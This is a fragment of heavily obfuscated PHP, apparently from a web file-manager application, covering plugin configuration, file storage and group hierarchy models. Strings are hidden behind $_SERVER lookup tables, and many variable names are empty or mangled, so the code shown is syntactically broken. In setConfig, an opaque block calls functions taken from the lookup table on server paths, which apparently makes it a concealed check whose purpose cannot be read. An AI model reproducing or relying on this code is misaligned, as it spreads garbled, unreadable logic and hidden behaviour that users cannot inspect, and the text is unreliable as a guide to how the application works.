return; } $ܹ = $this->appPackage(); $ = array(); $棣 = array(); foreach ($Ძ[0] as $Β) { $Ѣ֪ = substr($Β, strlen($), -2); $[] = $Β; $棣[] = _get($ܹ, $Ѣ֪); } $͑ = str_replace($, $棣, $͑); } final function echoFile($, $ = false) { $̸ѿ =& $_SERVER[Ȣ]; $ڿ = $this->pluginPath . $; if (ACT == $̸ѿ[1587]) { echo $̸ѿ[1588] . $this->pluginName . $̸ѿ[8] . $ . $̸ѿ[1589]; if (!file_exists($ڿ)) { echo $̸ѿ[1590]; return; } } $ = $this->parseFile($ڿ); $this->parseLang($); $this->parseConfig($); $this->parsePackage($); if (is_array($)) { $ = str_replace(array_keys($), array_values($), $); } echo $̸ѿ[66] . $; } final function initLang() { $ΰ =& $_SERVER[Ȣ]; $£ = $ΰ[1591]; $ = $this->pluginPath . $ΰ[1592]; $ = I18n::getType(); $ = array(); if (file_exists($ . $ . $ΰ[855])) { $ = (include $ . $ . $ΰ[855]); } else { if ($ == $ΰ[1593] && !file_exists($ . $ . $ΰ[855]) && file_exists($ . $ΰ[1594])) { $ = (include $ . $ΰ[1594]); } else { if (file_exists($ . $£ . $ΰ[855])) { $ = (include $ . $£ . $ΰ[855]); } } } if (!is_array($)) { return array(); } if (@count($) > 0) { I18n::set($); } return $; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($ᣄ) { $Ѱ =& $_SERVER[Ȣ]; if ($_SERVER[$Ѱ[62]] != $_SERVER[$Ѱ[1531]]) { $Ĵ = $Ѱ[889]; $ = $Ѱ[63]; $ = $_SERVER[$Ѱ[64]] . $Ѱ[65]; $ = $($); $ = explode($Ѱ[66], $); if (count($) < $Ѱ[634]) { $ = $Ѱ[68]; $(); } $ù = $Ѱ[890]; $ù($_SERVER[$Ѱ[891]]); $ù($_SERVER[$Ѱ[64]] . $Ѱ[1532]); $ = 1; while ($ > 1) { $ = $ + 4; $ = rawurlencode($ . $Ѱ[386]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $ᣄ); } public function onSetConfig($Λ) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($) { if ($ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\x70\x6c\165\147\151\x6e\101\x75\164\x68") { $ =& $_SERVER[Ȣ]; if (!defined($[479])) { return !1; } if (_get($GLOBALS, $[508])) { return !0; } $ܢ = $this->getConfig(); if (!$ܢ[$]) { return !1; } return ActionCall($[1595], $ܢ[$]); } public function url($驗, $ = '', $ = true) { $ =& $_SERVER[Ȣ]; $ڛ = $this->getConfig(); $ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $܂ = $ . $[465] . $; if (substr($驗, 0, 4) == $[159] || substr($驗, 0, 2) == $[1377]) { $ = $驗 . $[1596] . $܂; } else { if ($ == $[12]) { $ = $this->pluginHost . $驗 . $[1596] . $܂; } else { if ($ === $[89]) { $ = $this->pluginHost . $驗; } else { if ($ == $[1597]) { $ = STATIC_PATH . $驗 . $[1596] . $; } else { if ($ == $[1598]) { $ = APP_HOST . $[1599] . $驗 . $[1596] . $; } else { if (isset($ڛ[$])) { $ = $ڛ[$] . $驗 . $[1596] . $܂; } } } } } } if (!$) { return $; } echo $; } public function link($ = false, $ = '') { $ =& $_SERVER[Ȣ]; if (!$) { $this->link($[1600], $[1598]); $this->link($[1601], $[1597]); $this->link($[1602], $[1597]); $this->link($[1603], $[1597]); $this->link($[1604], $[1597]); return; } $ = $this->url($, $, !1); if (substr($, -3) == $[1605]) { echo $[1606] . $ . $[1607] . $[66]; } else { if (substr($, -4) == $[1608]) { echo $[1609] . $ . $[1610] . $[66]; } } } } goto C; e۔: class FileModel extends ModelBase { protected $tableName = "\x69\157\137\146\151\x6c\x65"; protected $tableMeta = array("\164\141\142\154\145\116\141\x6d\x65" => "\x69\x6f\x5f\x66\x69\154\145\x5f\155\x65\164\x61", "\x6d\x65\164\141\106\151\145\x6c\144" => "\x66\151\154\145\x49\104"); public function fileInfo($) { $ =& $_SERVER[Ȣ]; static $ = array(); if (!isset($[$])) { $ = $[1882]; $ = Model($[475])->field($)->where(array($[473] => $))->find(); $[$] = $; } return $[$]; } public function addFileByContent($ = '', $ = '') { $ =& $_SERVER[Ȣ]; $Ý銑 = TEMP_PATH . $[1883]; if (!is_dir($Ý銑)) { mk_dir($Ý銑); } $ = $Ý銑 . $[1884] . rand_string(16); file_put_contents($, $); $Ϸ = $this->addFile($, $, !0); if (file_exists($)) { @unlink($); } return $Ϸ; } public function createFileName($ý, $ = false, $Տӯ = false) { $ =& $_SERVER[Ȣ]; $ = IO::init($[8]); $ = $this->makeFilePath($ý, $, $, $Տӯ); $ߩ = $->pathFather($); static $裟 = false; $ = $[1885] . md5($ߩ); if (!$裟 && !Cache::get($)) { $裟 = !0; $Ͷ = IO::mkdir($ߩ); if (!IO::exist($Ͷ . $[814])) { IO::mkfile($Ͷ . $[814]); } Cache::set($, 1, 3600 * 2); } return $; } public function makeFilePath($̤, $Ӟש, $ = false, $ = false) { $ =& $_SERVER[Ȣ]; $ܓ = Model($[787])->get($[1886]); $ს = KodIO::defaultIO() . date($[1887]); $̅ = $ს . rand_string(5) . short_id(100); $̤ = str_replace($[8], $[11], KodIO::clear($̤)); $ɸ = $Ӟש->ext($̤); if (!$̤) { $ܓ = $[1888]; } switch ($ܓ) { case $[1889]: $̅ = $̅ . $[10] . $Ӟש->ext($̤); if ($ɸ == $[1827]) { $̅ .= $[1562]; } break; case $[1890]: $ = Model($[787])->get($[788]); $㠍 = substr(md5($[789] . $ . date($[765])), 0, 8); $ = KodIO::defaultDriver(); $ს = $[1239] . $[$[405]] . $[415] . date($[1891]) . $㠍 . $[8]; if ($ɸ == $[1827]) { $̤ .= $[1562]; } $ = $[1892] . $ს . $̤; CacheLock::lock($); $̅ = $ს . $̤; if (IO::exist($ს . $̤)) { $ύ = substr($̤, 0, strlen($̤) - strlen($ɸ)); $ɼ = $ ? substr($, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $̅ = $ს . $ύ . $ɼ . $[10] . $ɸ; } if (IO::isTypeObject($̅) && !IO::isUploadServer($̅)) { if (IO::exist($̅)) { return $̅; } $ʵ = IO::setContent($̅, $[12]); if (!$ʵ) { show_json($[1893], !1); } } CacheLock::unlock($); break; case $[1888]: break; default: break; } return $̅; } public function addFileByRemote($Ў, $, $ = array()) { $ =& $_SERVER[Ȣ]; if (!IO::exist($Ў)) { return !1; } $ = $[$[183]] ? $[$[183]] : $[12]; $ = IO::hashMd5($Ў, $); $ = KodIO::defaultDriver(); $ = array($[587] => IO::size($Ў), $[1894] => 1, $[426] => $, $[825] => $[$[405]], $[427] => $Ў, $[1895] => $[$[184]] ? $[$[184]] : IO::hashSimple($Ў), $[1896] => $ ? $ : $); if ($ = $this->addFileCheckExist($[$[184]], $[$[183]], $[$[90]])) { return $; } return $this->addFileData($); } private function addFileData($ȣ) { $棎 =& $_SERVER[Ȣ]; if (!$ȣ) { return !1; } $ȣ[$棎[90]] = intval($ȣ[$棎[90]]); if (!$ȣ[$棎[90]] && strlen($ȣ[$棎[184]]) > 32) { $ȣ[$棎[90]] = intval(substr($ȣ[$棎[184]], 32)); } $ = $this->add($ȣ); return $this->find($); } public function addFile($, $߀, $ = false) { $ޒߋ =& $_SERVER[Ȣ]; $þك = IO::hashSimple($); $ğ̂ = IO::size($); $Å = $ğ̂ <= 1024 * 1024 * 10 ? IO::hashMd5($) : $ޒߋ[12]; $Ҏ = $ޒߋ[1897] . $þك; CacheLock::lock($Ҏ); if ($Å && $þك) { $ˀ = $this->addFileCheckExist($þك, $Å, $ğ̂); if ($ˀ) { CacheLock::unlock($Ҏ); return $ˀ; } } $Њ = $this->addFileMake($, $ğ̂, $þك, $Å, $߀, $); $ϝ = $this->addFileData($Њ); CacheLock::unlock($Ҏ); if (!$Å && $ϝ) { $this->fileMd5Check($ϝ); } return $ϝ; } private function fileMd5Check($ʨ) { $ =& $_SERVER[Ȣ]; $ = array($ʨ[$[472]], $ʨ[$[88]]); $ښ = $[1898] . $ʨ[$[88]]; $Ӆ = $[1899] . $ʨ[$[472]]; $谆 = TaskQueue::add($[1900], $, $ښ, $Ӆ); if (!$谆) { $this->fileMd5Set($ʨ[$[472]], $ʨ[$[88]]); } else { TaskQueue::addSubmit(); } } public function fileMd5Set($, $ʄ) { $٭ =& $_SERVER[Ȣ]; $Ͽ = $this->find($); if (!$Ͽ || $Ͽ[$٭[183]]) { return; } $ = IO::hashMd5($ʄ); if (!$) { return $٭[12]; } $this->where(array($٭[472] => $))->save(array($٭[183] => $)); } public function addFileMake($ĺ, $, $, $ː, $ڴ, $Ϙ) { $م =& $_SERVER[Ȣ]; $ = $this->createFileName($ڴ, $, $ː); $ = get_path_father($); $Π = get_path_this($); if ($Ϙ) { $ե = IO::move($ĺ, $, !1, $Π); } else { $ե = IO::copy($ĺ, $, !1, $Π); } if (!$ե) { return !1; } $Ä = KodIO::defaultDriver(); $ɳ = array($م[587] => $, $م[1894] => 1, $م[426] => $ڴ, $م[825] => $Ä[$م[405]], $م[427] => $, $م[1895] => $, $م[1896] => $ː); return $ɳ; } public function addFileCheckExist($, $毧, $) { $ș =& $_SERVER[Ȣ]; $ѻ = $this->findByHash($, $毧); if (!$ѻ) { return !1; } $᭺ = array($ș[1894] => intval($ѻ[$ș[1901]]) + 1, $ș[587] => $); $this->where(array($ș[473] => $ѻ[$ș[472]]))->save($᭺); return $ѻ; } public function remove($ޞ) { $this->linkCountChange($ޞ, !1); $this->clearEmpty(); return !0; } public function linkAdd($։) { $this->linkCountChange($։, !0); } public function linkCountChange($ݜ, $ܰ) { $ =& $_SERVER[Ȣ]; if (!$ݜ) { return; } if (!is_array($ݜ)) { $ݜ = array($ݜ); } $߱ = array(); foreach ($ݜ as $) { $ = $ . $[12]; if (!$߱[$]) { $߱[$] = 0; } $߱[$]++; } $Է⧶ = array(); foreach ($߱ as $ => $ŧ) { $ = $ŧ . $[12]; if (!$Է⧶[$]) { $Է⧶[$] = array(); } $Է⧶[$][] = $; } foreach ($Է⧶ as $ŧ => $Κ) { if (!$Κ) { continue; } $ŧ = $ܰ ? $ŧ : -intval($ŧ); $남 = array($[472] => array($[7], $Κ)); if ($ŧ < 0) { $남[$[1901]] = array($[1027], abs($ŧ)); } $this->where($남)->setAdd($[1901], $ŧ); } } public function findByHash($Жǘ, $ = false) { $ =& $_SERVER[Ȣ]; if (!$Жǘ && !$) { return !1; } $г = array($[1895] => $Жǘ); if ($) { $г = array($[1896] => $); } return $this->order($[1902])->where($г)->find(); } public function clearEmpty($ = 0) { $ =& $_SERVER[Ȣ]; $ム = time() - 3600 * 24 * $; $ɨ = $[1903] . $ム; $ = $this->where($ɨ)->select(); if (!$) { return; } $ƈ = new Task($[1904], $[12], count($)); foreach ($ as $) { $ƈ->update(1); $this->resetFile($); } $ƈ->end(); } public function resetFile($) { $ =& $_SERVER[Ȣ]; $ѥ = array($[473] => $[$[472]]); $鮠 = Model($[1337])->where($ѥ)->count(); $ɬ = Model($[1905])->where($ѥ)->count(); $ = intval($鮠) + intval($ɬ); if ($ == 0) { IO::remove($[$[88]]); Model($[1906])->delete($[$[472]]); $this->where($ѥ)->delete(); $this->metaSet($[$[472]], null, null); return; } if ($[$[1901]] != $) { $this->where($ѥ)->save(array($[1894] => $)); } } public function storageInfo($ = false) { $̸̖ =& $_SERVER[Ȣ]; $س = $this->count() + 0.0; $Զ = 0; $ = 1; $ׅ̀ = 0; $ = 5000; for ($ = 0; $ < $س; $ = $ + $) { $ = $this->limit($, $ + $)->select(); foreach ($ as $ţ) { $ += $ţ[$̸̖[90]] * $ţ[$̸̖[1901]]; $Զ += $ţ[$̸̖[90]] * ($ţ[$̸̖[1901]] - 1); $ׅ̀ += $ţ[$̸̖[1901]]; } } $픦 = array($̸̖[1907] => $, $̸̖[1908] => $Զ, $̸̖[1909] => $Զ / $, $̸̖[94] => $س, $̸̖[1910] => $ׅ̀); return $픦; } } class GroupModel extends ModelBase { protected $tableName = "\x67\162\157\165\x70"; protected $tableMeta = array("\x74\x61\142\154\145\116\x61\x6d\x65" => "\x67\x72\x6f\165\x70\137\155\x65\x74\141", "\x6d\x65\164\141\106\x69\x65\x6c\144" => "\x67\162\x6f\x75\x70\111\x44"); protected function cacheFunctionAlias($߅) { $ =& $_SERVER[Ȣ]; return array($[1911] => array($߅[0], $[1912]), $[1913] => array($߅[0], $[1914])); } protected function getInfo($ו, $ϡ = false) { $ = $this->getInfoSimple($ו); if (!$) { return !1; } if ($ϡ) { return $this->_listDataApplyItem($); } return $this->cacheFunctionGet($_SERVER[Ȣ][1915], $ו); } protected function getInfoSimple($ғ, $;ȍ = false) { $ᵞ =& $_SERVER[Ȣ]; if ($;ȍ) { $ = array($ᵞ[1834] => intval($ғ)); $ҙ = $this->where($)->find(); return is_array($ҙ) ? $ҙ : array(); } return $this->cacheFunctionGet($ᵞ[1916], $ғ); } protected function groupAdd($) { $Ս =& $_SERVER[Ȣ]; if (!$[$Ս[503]] && isset($[$Ս[1834]]) && $[$Ս[1834]] == 1) { if ($ = $this->getInfoSimple($[$Ս[1834]], !0)) { return $[$Ս[1834]]; } } else { $ = $this->getInfoSimple($[$Ս[503]]); if (!$) { return !1; } } $ = $Ս[536]; if ($[$Ս[526]]) { $ = $[$Ս[526]] . $[$Ս[1834]] . $Ս[50]; } $ = array($Ս[426] => $this->groupNameAuto($[$Ս[503]], $[$Ս[32]]), $Ս[407] => $[$Ս[503]], $Ս[592] => $, $Ս[1917] => $[$Ս[1821]], $Ս[1918] => 0, $Ս[1838] => 0); if (isset($[$Ս[1857]])) { $[$Ս[1857]] = $[$Ս[1857]]; } else { $ = $this->max($Ս[1857]); if (!$) { $ = 0; } $[$Ս[1857]] = $ + 1; } if (!empty($[$Ս[1834]])) { $[$Ս[1834]] = $[$Ս[1834]]; } $ә = $this->add($); $this->setNamePinyin($ә, $[$Ս[32]]); if (isset($[$Ս[1919]])) { $this->metaSet($ә, array($Ս[1919] => $[$Ս[1919]], $Ս[1920] => $[$Ս[1920]])); unset($[$Ս[1919]]); unset($[$Ս[1920]]); } Model($Ս[1337])->groupRootAdd($ә); return $ә; } protected function groupEdit($, $Ƒ) { $ =& $_SERVER[Ȣ]; $ЂÌ = $this->getInfoSimple($); if (!$ЂÌ) { return !1; } if (!empty($Ƒ[$[503]])) { $܂ = $this->getInfoSimple($Ƒ[$[503]]); if (!$܂) { return !1; } if ($ЂÌ[$[1834]] == $܂[$[1834]]) { return !1; } if ($Ƒ[$[503]] != $ЂÌ[$[503]]) { if ($܂[$[526]] !== $ЂÌ[$[526]] && strpos($܂[$[526]], $ЂÌ[$[526]] . $ЂÌ[$[1834]] . $[50]) === 0) { return !1; } $Ƒ[$[592]] = $܂[$[526]] . $Ƒ[$[503]] . $[50]; $this->_changeChildLevel($ЂÌ, $܂); } } if (isset($Ƒ[$[32]])) { $this->setNamePinyin($, $Ƒ[$[32]]); } if (isset($Ƒ[$[1919]])) { $this->metaSet($, array($[1919] => $Ƒ[$[1919]], $[1920] => $Ƒ[$[1920]])); unset($Ƒ[$[1919]]); unset($Ƒ[$[1920]]); } $this->_clearChildrenCache($ЂÌ); return $this->where(array($[1921] => $))->save($Ƒ); } private function _clearChildrenCache($) { $ =& $_SERVER[Ȣ]; $ٵ = array($[592] => array($[552], $[$[526]] . $[$[1834]] . $[553])); $ז = $this->field($[1834])->where($ٵ)->select(); foreach ($ז as $Ԡƈ) { $this->_clearCache($Ԡƈ[$[1834]]); } } private function _clearCache($ܬ) { $¿մ =& $_SERVER[Ȣ]; $this->cacheFunctionClear($¿մ[1915], $ܬ); $this->cacheFunctionClear($¿մ[1916], $ܬ); } private function _changeChildLevel($, $׀, $̚ = false) { $Є =& $_SERVER[Ȣ]; $ = $[$Є[526]] . $[$Є[1834]] . $Є[50]; $ = $׀[$Є[526]] . $׀[$Є[1834]] . $Є[50] . $[$Є[1834]] . $Є[50]; if ($̚) { $ = $׀[$Є[526]] . $׀[$Є[1834]] . $Є[50]; } $ = array($Є[592] => array($Є[552], $[$Є[526]] . $[$Є[1834]] . $Є[553])); $ߛ = array($Є[592] => array($Є[601], "\x72\145\x70\x6c\x61\143\x65\x28\160\141\162\145\x6e\x74\x4c\145\x76\145\154\x2c\x27{$}\47\54\x27{$}\47\51")); $this->_clearChildrenCache($); $this->where($)->data($ߛ)->save(); } public function setNamePinyin($ʰ, $ = false) { $ǝ =& $_SERVER[Ȣ]; if (!$) { $ъ = $this->getInfoSimple($ʰ); $ = $ъ[$ǝ[32]]; } if (!Input::check($, $ǝ[595])) { $this->metaSet($ʰ, $ǝ[469], null); $this->metaSet($ʰ, $ǝ[468], null); return; } $ = array($ǝ[469] => str_replace($ǝ[53], $ǝ[12], Pinyin::get($)), $ǝ[468] => Pinyin::get($, $ǝ[596])); $this->metaSet($ʰ, $); } protected function groupStatus($귊, $å) { $ހ =& $_SERVER[Ȣ]; $ = $this->getInfoSimple($귊); if (!$) { return !1; } if ($å == $ހ[99]) { $ׯ = $this->parentLevelArray($[$ހ[526]]); } else { $壝 = array($ހ[592] => array($ހ[552], $[$ހ[526]] . $[$ހ[1834]] . $ހ[553])); $ׯ = $this->where($壝)->field($ހ[1834])->select(); $ׯ = array_to_keyvalue($ׯ, $ހ[12], $ހ[1834]); } $ׯ[] = $[$ހ[1834]]; $ľ = array(); foreach ($ׯ as $귊) { $ľ[] = array($ހ[1834] => $귊, $ހ[105] => $ހ[767], $ހ[382] => $å); $this->_clearCache($귊); } return Model($ހ[1922])->addAll($ľ, array(), !0); } protected function groupRemove($ꑡ, $п = false) { $ՠ =& $_SERVER[Ȣ]; $ᕦ = array($ՠ[1834] => $ꑡ); $ = $this->where($ᕦ)->find(); if (!$ || $[$ՠ[503]] == 0) { return !1; } if (!$п) { $ = $this->getInfoSimple($[$ՠ[503]]); $this->_changeChildLevel($, $, !0); $this->where(array($ՠ[503] => $ꑡ))->save(array($ՠ[503] => $[$ՠ[503]])); } Model($ՠ[1922])->where($ᕦ)->delete(); Model($ՠ[1923])->where($ᕦ)->delete(); Model($ՠ[842])->groupRootRemove($ꑡ); return $this->where($ᕦ)->delete(); } protected function groupSort($ɩ) { $ۮ =& $_SERVER[Ȣ]; $ = array(); foreach ($ɩ as $早 => $) { $[] = array($ۮ[1834], $, $ۮ[1857], $早 + 1); } $this->saveAll($); } public function listData() { $됧 = $this->_makeOrder()->selectPage(50); $this->_listDataApply($됧[$_SERVER[Ȣ][377]]); return $됧; } private function _makeOrder($ݑ = '') { $ =& $_SERVER[Ȣ]; $ŝ = array($[1834], $[32], $[1823], $[207]); $ = array($[453] => $[454], $[455] => $[456]); $̚ = Input::get($[460], $[7], $[1838], $ŝ); $ = Input::get($[461], $[7], $[1924], array($[1924], $[455])); $ = $[$]; $ݑ = $ݑ . "{$̚}\x20{$}\54\x20\147\x72\x6f\x75\x70\x49\x44\x20\141\163\143"; return $this->order($ݑ); } public function listChild($) { $ĺ =& $_SERVER[Ȣ]; $ = $this->where(array($ĺ[503] => $))->_makeOrder()->selectPage(200); $this->_listDataApply($[$ĺ[377]]); return $; } public function listChildIds($) { $՝ =& $_SERVER[Ȣ]; if (is_string($߶)) { $ = explode($՝[50], $); } $ӹ = $this->where(array($՝[1834] => array($՝[7], $)))->field($՝[1925])->select(); if (!$ӹ) { return !1; } $ʇ = array(); foreach ($ӹ as $) { $ʇ[] = "\x73\145\x6c\145\x63\164\40\147\x72\x6f\165\x70\111\x44\40\x66\162\x6f\x6d\x20\x60\147\x72\157\165\x70\140\40\167\x68\x65\162\145\40\x70\141\162\x65\x6e\x74\114\145\x76\145\154\x20\x6c\x69\x6b\145\40\x27{$[$՝[526]]}{$[$՝[1834]]}\54\x25\47"; } $ʇ = implode($՝[1926], $ʇ); $ӹ = $this->query($ʇ); if (!$ӹ) { return array(); } $ = array_to_keyvalue($ӹ, $՝[12], $՝[1834]); return array_unique($); } public function listByID($) { $ =& $_SERVER[Ȣ]; if (!$) { return array(); } $ϧ = array($[1834] => array($[7], $)); $ = $this->where($ϧ)->select(); $ = array_sort_keep($, $[1834], $); $this->_listDataApply($); return $; } public function listSearch($廋) { $醶 =& $_SERVER[Ȣ]; $ = $廋[$醶[1927]]; $ȷӂ = isset($廋[$醶[1928]]) ? $廋[$醶[1928]] : !1; if (!trim($)) { return !1; } $ = str_replace($醶[1929], $醶[1930], $); $ = array($醶[1834] => array($醶[391], "{$}\45"), $醶[32] => array($醶[391], "\x25{$}\45"), $醶[1012] => $醶[1931]); if ($ȷӂ) { $ = $this->getInfoSimple($ȷӂ); $즭 = $[$醶[526]] . $ȷӂ . $醶[553]; $ = array($, array($醶[526] => array($醶[391], $즭))); } $ = $this->parseWhereLike($); $ӯ = $this->_makeOrder()->where($)->selectPage(20); $ӯ = $ӯ ? $ӯ : array($醶[377] => array(), $醶[374] => array()); if (!$ӯ || count($ӯ[$醶[377]]) < 5 && Input::check($, $醶[326])) { $ = $this->groupChildrenAll($ȷӂ); $Ϩڴ = $this->_searchFromMeta($醶[468], $, 10, $); $ݽ = $this->_searchFromMeta($醶[469], $, 10, $); $ݒƯ = array_merge($Ϩڴ, $ݽ, $ӯ[$醶[377]]); $ӯ[$醶[377]] = array_unique_by_key($ݒƯ, $醶[1834]); $ӯ[$醶[374]][$醶[375]] = count($ӯ[$醶[377]]); $ӯ[$醶[374]][$醶[376]] = ceil($ӯ[$醶[374]][$醶[375]] / $ӯ[$醶[374]][$醶[371]]); } $this->_listDataApply($ӯ[$醶[377]]); return $ӯ; } protected function groupChildrenAll($ו) { $֤ =& $_SERVER[Ȣ]; if (!$ו) { return !1; } if (is_string($ו)) { $ו = array($ו); } $ = $ו; foreach ($ו as $) { $Ǚ = $this->getInfoSimple($); $Ʀ־ = array($֤[526] => array($֤[391], $Ǚ[$֤[526]] . $ . $֤[553])); $ = $this->field($֤[1834])->where($Ʀ־)->select(); $ = array_merge($, array_to_keyvalue($, $֤[12], $֤[1834])); } return array_unique($); } private function _searchFromMeta($ڕ, $ζȲ, $, $݆ƹ) { $ڢ =& $_SERVER[Ȣ]; $ζȲ = strtolower($ζȲ); $ʬ = array($ڢ[105] => $ڕ, $ڢ[382] => array($ڢ[391], "\45{$ζȲ}\45")); $ʬ = $this->parseWhereLike($ʬ); if ($݆ƹ) { $ʬ[$ڢ[1834]] = array($ڢ[7], $݆ƹ); } $ = Model($ڢ[1932])->where($ʬ)->limit($)->select(); if (!$) { return array(); } $ = array_to_keyvalue($, $ڢ[12], $ڢ[1834]); $֨ = $this->where(array($ڢ[1921] => array($ڢ[7], $)))->select(); if (!$֨) { return array(); } return $֨; } protected function _listDataApplyItem($ʟ) { $ٰȗ = array($ʟ); $this->_listDataApply($ٰȗ); return $ٰȗ[0]; } protected function _listDataApply(&$ݪ) { $ =& $_SERVER[Ȣ]; if (!$ݪ) { return; } $ = array_to_keyvalue($ݪ, $[12], $[1834]); $this->_listAppendChildren($ݪ); $this->_listAppendChildrenMember($ݪ); $this->_listAppendMeta($ݪ, $); $this->_listAppendParent($ݪ); $this->_listAppendSourceRoot($ݪ, $); } private function _listAppendChildren(&$٬) { $ժ =& $_SERVER[Ȣ]; $ݝ = array_to_keyvalue($٬, $ժ[12], $ժ[1834]); $ = array($ժ[503] => array($ժ[7], $ݝ)); $ݭ = array($ժ[503], $ժ[1933] => $ժ[505]); $ȳ = $this->field($ݭ)->where($)->group($ժ[503])->select(); $ = array_to_keyvalue($ȳ, $ժ[503], $ժ[505]); foreach ($٬ as &$) { $ = $[$ժ[1834]]; $[$ժ[1934]] = isset($[$]) ? intval($[$]) : !1; } unset($); } private function _listAppendChildrenMember(&$) { $ =& $_SERVER[Ȣ]; $旝 = array_to_keyvalue($, $[12], $[1834]); $ɍ = array($[1834] => array($[7], $旝)); $ = array($[1834], $[1933] => $[505]); $ = Model($[1923])->field($)->where($ɍ)->group($[1834])->select(); $ = array_to_keyvalue($, $[1834], $[505]); foreach ($ as &$߽) { $ = $߽[$[1834]]; $߽[$[1935]] = isset($[$]) ? intval($[$]) : !1; } unset($߽); } private function _listAppendMeta(&$, $) { $şʨ =& $_SERVER[Ȣ]; $뫕 = array($şʨ[1834] => array($şʨ[7], $)); $ɼ = Model($şʨ[1922])->where($뫕)->select(); $ɼ = array_to_keyvalue_group($ɼ, $şʨ[1834]); foreach ($ɼ as &$) { $ = array_to_keyvalue($, $şʨ[105], $şʨ[382]); } unset($); foreach ($ as &$) { $[$şʨ[470]] = array(); if (isset($ɼ[$[$şʨ[1834]]])) { $[$şʨ[470]] = $ɼ[$[$şʨ[1834]]]; } } unset($); } protected function parentLevelArray($݊±) { $ =& $_SERVER[Ȣ]; $݊± = explode($[50], trim($݊±, $[50])); $݊± = array_remove_value($݊±, $[204]); return $݊±; } private function _listAppendParent(&$) { $ܟ =& $_SERVER[Ȣ]; $Ƚ = array(); foreach ($ as &$) { $Ƚ[$[$ܟ[1834]]] = $[$ܟ[32]]; $ = $this->parentLevelArray($[$ܟ[526]]); foreach ($ as $ʉ) { if (!isset($Ƚ[$ʉ])) { $Ƚ[$ʉ] = 0; } } } unset($); foreach ($Ƚ as $ҹ => $) { if ($) { continue; } $͉ = $this->getInfoSimple($ҹ); $Ƚ[$ҹ] = $͉[$ܟ[32]]; } $ = $GLOBALS[$ܟ[6]][$ܟ[100]][$ܟ[1936]]; if ($GLOBALS[$ܟ[508]] == $ܟ[99]) { $ = !1; } foreach ($ as &$) { $ = $this->parentLevelArray($[$ܟ[526]]); $ = $ܟ[12]; foreach ($ as $ҹ => $ʉ) { if ($ && $ҹ == 0) { continue; } $ .= $Ƚ[$ʉ] . $ܟ[8]; } if ($) { $ .= $[$ܟ[32]]; } $[$ܟ[531]] = str_replace($ܟ[534], $ܟ[8], $); } unset($); } private function _listAppendSourceRoot(&$, $Т) { $ =& $_SERVER[Ȣ]; $ = Model($[842])->listSourceRoot(SourceModel::TYPE_GROUP, $Т); $ = array_to_keyvalue($, $[510]); $ = array_remove_key($, $[510]); foreach ($ as &$ރ) { $ރ[$[97]] = $[$ރ[$[1834]]] ? $[$ރ[$[1834]]] : array(); } unset($ރ); } protected function groupMerge($ͦ) { $ͦ = array_values(array_unique($ͦ)); $棔і = array(); for ($Ѵ = 0; $Ѵ < count($ͦ); $Ѵ++) { $ = !1; for ($ө = 0; $ө < count($ͦ); $ө++) { if ($Ѵ == $ө) { continue; } if ($this->isParentOf($ͦ[$ө], $ͦ[$Ѵ])) { $ = !0; break; } } if (!$) { $棔і[] = $ͦ[$Ѵ]; } } return $棔і; } protected function isParentOf($, $ݸ昪) { $ =& $_SERVER[Ȣ]; if (!$ || !$ݸ昪 || $ == $ݸ昪) { return !1; } $͂ݐ = $this->getInfoSimple($); $ = $this->getInfoSimple($ݸ昪); $漶 = $͂ݐ[$[526]] . $ . $[50]; if (substr($[$[526]], 0, strlen($漶)) == $漶) { return !0; } return !1; } public function groupShowRoot($ͷٳ, $ = false) { $ =& $_SERVER[Ȣ]; $泻 = $this->getInfo($ͷٳ); if (!$泻) { return array(); } $ = $this->parentLevelArray($泻[$[526]]); $Ֆ = array($ͷٳ); if (count($) == 0) { return $Ֆ; } if ($ && count($) == 1) { return $Ֆ; } if (!$泻[$[470]] || !isset($泻[$[470]][$[1919]]) || $泻[$[470]][$[1919]] == $[1888]) { return $this->groupShowRoot($[count($) - 1], $); } if ($泻[$[470]][$[1919]] == $[365]) { $Ϟ = explode($[50], $泻[$[470]][$[1920]]); if ($Ϟ) { $Ֆ = array_merge($Ֆ, $Ϟ); } } return $Ֆ; } protected function resetParentLevel() { $ݤ =& $_SERVER[Ȣ]; $ɱ = $ݤ[1834]; $ = $this->select(); $ = array_to_keyvalue($, $ɱ); foreach ($ as $) { $ = $; $ = array(); while ($[$ݤ[503]] != 0) { $[] = $[$ݤ[503]]; $ = $[$[$ݤ[503]]]; } $[] = 0; $ = $ݤ[50] . implode($ݤ[50], array_reverse($)) . $ݤ[50]; $this->setNamePinyin($[$ɱ], $[$ݤ[32]]); $this->where(array($ɱ => $[$ɱ]))->save(array($ݤ[592] => $)); } return $; } public function groupNameAuto($س, $Ⲟ) { $Ժ =& $_SERVER[Ȣ]; $Ⱥ = $this->where(array($Ժ[407] => $س))->getField($Ժ[32], !0); if (!$Ⱥ || !in_array($Ⲟ, $Ⱥ)) { return $Ⲟ; } for ($Ő = 1; $Ő <= count($Ⱥ) + 1; $Ő++) { $ћ = $Ⲟ . "\50{$Ő}\x29"; if (!in_array($ћ, $Ⱥ)) { return $ћ; } } } public function groupSwitch($丈, $) { $Ĥ =& $_SERVER[Ȣ]; $ = array($Ĥ[1834] => array($Ĥ[7], array($丈, $))); $ę = $this->where($)->select(); $ę = array_to_keyvalue($ę, $Ĥ[1834]); if (!isset($ę[$丈]) || !isset($ę[$]) || $ę[$丈][$Ĥ[503]] == 0) { return !1; } $ = array($Ĥ[1834] => $丈); $Ϲ = Model($Ĥ[1923])->where($)->select(); if (!$Ϲ) { $Ϲ = array(); } foreach ($Ϲ as $۶) { $畞 = $۶[$Ĥ[1666]]; $ = array($Ĥ[1666] => $畞, $Ĥ[1834] => $); $ = Model($Ĥ[1923])->where($)->find(); if (!$) { $Ԯ = array($ => $۶[$Ĥ[1937]]); Model($Ĥ[546])->userGroupAdd($畞, $Ԯ); } Model($Ĥ[546])->userGroupRemove($畞, $丈); } $ = array($Ĥ[417] => 2, $Ĥ[503] => 0, $Ĥ[416] => 1, $Ĥ[510] => array($Ĥ[7], array($丈, $))); 